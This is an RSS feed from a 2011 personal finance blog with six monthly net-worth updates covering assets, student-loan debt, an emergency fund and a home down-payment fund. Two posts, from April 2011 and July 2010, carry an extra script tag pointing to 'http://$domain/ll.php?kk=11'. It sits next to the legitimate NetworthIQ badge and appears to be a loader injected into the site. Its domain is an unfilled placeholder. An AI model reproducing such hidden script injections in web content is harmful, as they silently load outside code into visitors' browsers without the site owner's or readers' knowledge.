<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Step by Step Finance &#187; Networth</title>
	<atom:link href="http://stepbystepfinance.com/category/networth/feed/" rel="self" type="application/rss+xml" />
	<link>http://stepbystepfinance.com</link>
	<description>.. my journey to financial success</description>
	<lastBuildDate>Mon, 28 Nov 2011 15:58:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Networth Update &#8211; 10/25/2011</title>
		<link>http://stepbystepfinance.com/2011/10/25/networth-update-10252011/</link>
		<comments>http://stepbystepfinance.com/2011/10/25/networth-update-10252011/#comments</comments>
		<pubDate>Tue, 25 Oct 2011 19:10:04 +0000</pubDate>
		<dc:creator>1step</dc:creator>
				<category><![CDATA[Networth]]></category>

		<guid isPermaLink="false">http://stepbystepfinance.com/?p=229</guid>
		<description><![CDATA[-Updated Networth- Total Assets:       $80,724 Total Liabilities: $106,188 Networth:           -$25,464 I shifted to contributing to the future home/other goal downpayment fund from the emergency fund. Currently, with 17,000 in cash for the &#8230; <a href="http://stepbystepfinance.com/2011/10/25/networth-update-10252011/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>-Updated Networth-</p>
<p style="text-align: left;">Total Assets:       $80,724<br />
<span style="text-decoration: underline;">Total Liabilities: $106,188</span><br />
Networth:           <span style="color: #800000;">-$25,464</span></p>
<p>I shifted to contributing to the future home/other goal downpayment fund from the emergency fund. Currently, with 17,000 in cash for the emergency fund, I feel comfortable enough to contribute to the other goal fund. The swings in the market seem to have made losses as I add more money, hopefully the index fund will perform over the long run <img src='http://stepbystepfinance.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Targeting a new mix of income, including the current business plans I&#8217;m working on. Also, there&#8217;s a possibility of co-founding a start up with a few people from business school. An interesting, but daunting task. Slowly but surely moving up the right direction in Networth.</p>
<p><script type="text/javascript" language="javascript" src="http://www.networthiq.com/api/badge.ashx?u=1step&amp;h=150&amp;w=160&amp;c=FFFFFF"></script><br />
Cheers!</p>
<p>-1step</p>
]]></content:encoded>
			<wfw:commentRss>http://stepbystepfinance.com/2011/10/25/networth-update-10252011/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Networth Update: 9-10-2011</title>
		<link>http://stepbystepfinance.com/2011/09/10/networth-update-9-10-2011/</link>
		<comments>http://stepbystepfinance.com/2011/09/10/networth-update-9-10-2011/#comments</comments>
		<pubDate>Sat, 10 Sep 2011 15:41:48 +0000</pubDate>
		<dc:creator>1step</dc:creator>
				<category><![CDATA[Networth]]></category>

		<guid isPermaLink="false">http://stepbystepfinance.com/?p=187</guid>
		<description><![CDATA[-Updated Networth- Total Assets: $77,951.80 Total Liabilities: $108,742.01 Networth: -$30,790.21 The more recent economic downturn has led to a lower retirement account and stocks. In addition, the deposit from my previous apartment  (about 3000 due) + moving costs (600) have &#8230; <a href="http://stepbystepfinance.com/2011/09/10/networth-update-9-10-2011/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>-Updated Networth-</p>
<p>Total Assets: $77,951.80<br />
Total Liabilities: $108,742.01<br />
Networth: -$30,790.21</p>
<p>The more recent economic downturn has led to a lower retirement account and stocks. In addition, the deposit from my previous apartment  (about 3000 due) + moving costs (600) have added up to remove from my current asset base. Starting this month, I&#8217;m also contributing more towards my home downpayment fund rather the emergency savings, with the option to use the downpayment fund as backup as well.</p>
<p>Cheers!</p>
<p>-1step</p>
]]></content:encoded>
			<wfw:commentRss>http://stepbystepfinance.com/2011/09/10/networth-update-9-10-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Networth Update &#8211; 7/22/11</title>
		<link>http://stepbystepfinance.com/2011/07/22/networth-update-72211/</link>
		<comments>http://stepbystepfinance.com/2011/07/22/networth-update-72211/#comments</comments>
		<pubDate>Fri, 22 Jul 2011 20:35:52 +0000</pubDate>
		<dc:creator>1step</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Networth]]></category>

		<guid isPermaLink="false">http://stepbystepfinance.com/?p=147</guid>
		<description><![CDATA[-Updated Networth- Total Assets: $85,378 Total Liabilities: $108,898 Networth: -$23,520 Anothe month has gone by and improvement, mainly due to the fact that I forgot to add the home downpayment fund that I already started funding a while back. In &#8230; <a href="http://stepbystepfinance.com/2011/07/22/networth-update-72211/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>-Updated Networth-</p>
<p>Total Assets: $85,378<br />
Total Liabilities: $108,898<br />
Networth: -$23,520</p>
<p>Anothe month has gone by and improvement, mainly due to the fact that I forgot to add the home downpayment fund that I already started funding a while back. In reality, the progress should&#8217;ve been minimal as I spent some time abroad after my work trip. One of the unfortunate things is that I get easily relaxed when I am travelling and money in different currencies somehow normalizes in my head that it is cheaper than it actually is. This pitfal caused me to spend in excess of $1,300 on extra dining and trips to london and paris, although I have to say that I quite enjoyed the experience and it is something that I will never forget <img src='http://stepbystepfinance.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I could&#8217;ve easily spent the same amount of money on a couple of nights out in new york and not had the same experience.</p>
<p>More recruiting contacts, but they seem to be slowing down as our nation is reaching its debt ceiling. Isn&#8217;t it funny that as a nation we are failing and not putting any right foot forward to rectifying the situation, while as individuals we may be failing, but often trying to at least try and improve our own situations. Certainly the budget is something that is far more complicated than my situation, but I just don&#8217;t see how one of the richest countries in the world can&#8217;t start looking at this from a different perspective and realize that hey.. maybe we can solve this in another manner that&#8217;s not debilitating to business and individuals alike.</p>
<p>&#8216;Till next time:)</p>
]]></content:encoded>
			<wfw:commentRss>http://stepbystepfinance.com/2011/07/22/networth-update-72211/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Networth Update &#8211; 6/28/11</title>
		<link>http://stepbystepfinance.com/2011/06/28/networth-update-62811/</link>
		<comments>http://stepbystepfinance.com/2011/06/28/networth-update-62811/#comments</comments>
		<pubDate>Tue, 28 Jun 2011 17:28:53 +0000</pubDate>
		<dc:creator>1step</dc:creator>
				<category><![CDATA[Networth]]></category>

		<guid isPermaLink="false">http://stepbystepfinance.com/?p=135</guid>
		<description><![CDATA[-Updated Networth- Total Assets: $83,054 Total Liabilities: $110,588 Networth: -$27,533 Missed a month due to work travel and different projects. Made decent progress in paying back some of the student loans. I&#8217;m trying to get back on track with work &#8230; <a href="http://stepbystepfinance.com/2011/06/28/networth-update-62811/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>-Updated Networth-</p>
<p>Total Assets: $83,054<br />
Total Liabilities: $110,588<br />
Networth: -$27,533</p>
<p>Missed a month due to work travel and different projects. Made decent progress in paying back some of the student loans. I&#8217;m trying to get back on track with work and creating the appropriate payback plan. One of the downsides of getting an MBA is that it does not come cheaply. I definitely should&#8217;ve done more in terms of looking for grants from the school and scholarships as it would&#8217;ve saved me much repayment in the future. </p>
<p>Still, this is an improving trajectory and after another work trip, I intend to focus more heavily on what I need to do to accomplish a faster payback and perhaps re-align my career. Thus far, I&#8217;ve been quite a loyal worker and I&#8217;ve appreciated everything that was given to me by others; however, the amount of money that I am getting is only incremental and I need to make some big jumps. More updates to follow, hopefully at a better rate <img src='http://stepbystepfinance.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://stepbystepfinance.com/2011/06/28/networth-update-62811/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Networth Update &#8211; 4/25/11</title>
		<link>http://stepbystepfinance.com/2011/04/25/networth-update-42511/</link>
		<comments>http://stepbystepfinance.com/2011/04/25/networth-update-42511/#comments</comments>
		<pubDate>Mon, 25 Apr 2011 18:16:45 +0000</pubDate>
		<dc:creator>1step</dc:creator>
				<category><![CDATA[goals]]></category>
		<category><![CDATA[Networth]]></category>
		<category><![CDATA[Personal Finance]]></category>

		<guid isPermaLink="false">http://stepbystepfinance.com/?p=133</guid>
		<description><![CDATA[-Updated Networth- Total Assets: $75,583 Total Liabilities: $109,657 Networth: -$31,074 Slowly but surely I am working my way into paying the student loans, my only outstanding &#8220;good debt&#8221; as they say, although I don&#8217;t know how much good it is &#8230; <a href="http://stepbystepfinance.com/2011/04/25/networth-update-42511/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>-Updated Networth-</p>
<p>Total Assets: $75,583<br />
Total Liabilities: $109,657</p>
<p>Networth: -$31,074</p>
<p>Slowly but surely I am working my way into paying the student loans, my only outstanding &#8220;good debt&#8221; as they say, although I don&#8217;t know how much good it is with some of the loans at 6.8%. I also received a decent bonus from work, which was taxed 50% of course, but I entered it all toward paying the student loan. I am looking to make some additional payments for the student loan, but I need to come up with a game plan for 2011 in terms of how I&#8217;m allocating the money. It&#8217;s pretty cool, and I&#8217;ll share my insight to the way I&#8217;m approaching this. Essentially, I am taking the total amount I am expected to make over the rest of the year net, then I am subtracting all of my trips, gifts and large expenses. Then I am calculating my monthly needs (some of which I know such as rent and cell bill), and determining what my budget should be for everything else. This is a new way that I am allocating my money and I&#8217;m hoping it will help me in becoming more conscious of my spending as I will be automating all the goals on a bi-weekly basis.</p>
<p><script src="http://www.networthiq.com/api/badge.ashx?u=1step&amp;h=150&amp;w=160&amp;c=FFFFFF" type="text/javascript"></script><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://stepbystepfinance.com/2011/04/25/networth-update-42511/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Updated Networth</title>
		<link>http://stepbystepfinance.com/2010/07/09/updated-networth/</link>
		<comments>http://stepbystepfinance.com/2010/07/09/updated-networth/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 11:57:49 +0000</pubDate>
		<dc:creator>1step</dc:creator>
				<category><![CDATA[Networth]]></category>

		<guid isPermaLink="false">http://stepbystepfinance.com/?p=76</guid>
		<description><![CDATA[Finally I&#8217;ve updated the NetworthIQ account I&#8217;ve had for quite some time. It&#8217;s amazing how much it has changed and I&#8217;m so close to be in a positive networth I&#8217;m making the commitment to start updating it on a monthly &#8230; <a href="http://stepbystepfinance.com/2010/07/09/updated-networth/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Finally I&#8217;ve updated the NetworthIQ account I&#8217;ve had for quite some time. It&#8217;s amazing how much it has changed and I&#8217;m so close to be in a positive networth <img src='http://stepbystepfinance.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I&#8217;m making the commitment to start updating it on a monthly basis.<br />
<script language="javascript" type="text/javascript" src="http://www.networthiq.com/api/badge.ashx?u=1step&#038;h=150&#038;w=160&#038;c=FFFFFF"></script><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://stepbystepfinance.com/2010/07/09/updated-networth/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

